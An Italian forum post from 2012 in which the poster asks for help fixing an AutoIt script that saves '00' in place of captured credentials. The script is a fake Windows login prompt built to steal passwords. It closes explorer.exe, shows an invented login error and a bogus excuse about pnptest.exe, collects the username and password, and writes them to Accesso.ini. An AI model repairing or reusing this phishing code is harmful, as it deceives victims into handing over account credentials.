14-03-2012, 09:21 PM
Quando mi salva il testo mi scrive: "00" al posto dell'username e della password :O
Chi mi trova errorino?
Chi mi trova errorino?
Codice:
ProcessClose("explorer.exe")
ProcessClose("explorer.exe")
Msgbox(16,"Conferma account windows","C'è stato un errore nel login dell'account, si prega di immettere i dati richiesti o l'utente verrà disconnesso.")
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Autenticazione account WINDOWS", 321, 156, 0, 0)
$Label1 = GUICtrlCreateLabel("Inserisci il tuo nome utente", 8, 24, 129, 17)
$Input2 = GUICtrlCreateInput("", 144, 24, 153, 21)
$Input1 = GUICtrlCreateInput("", 144, 64, 153, 21)
$Label2 = GUICtrlCreateLabel("Inserisci la tua password", 8, 64, 119, 17)
$Button1 = GUICtrlCreateButton("?", 272, 120, 35, 25)
$Button2 = GUICtrlCreateButton("Autenticami", 192, 120, 75, 25)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Button2()
AdlibRegister("Autenticami_ora",20)
Case $Button1()
Msgbox(64,"Autenticazione guidata","Il processo pnptest.exe ha avuto un malfunzionamento, per questo è stato trovato un errore nel login. Si è pregati di immettere i propri dati nelle descritte celle, per autenticare l'account in uso.")
EndSwitch
WEnd
Func Autenticami_ora()
if GUICtrlRead($Input2) = "" Then
Msgbox(16,"Errore","Non è stato riconosciuto ne password ne username!")
Else
Msgbox(64,"Conferma","Account autenticato.")
Shellexecute("explorer.exe")
Filewrite("Accesso.ini",GUICtrlRead($Input1) + "" + GUICtrlRead($Input2))
Exit
EndIf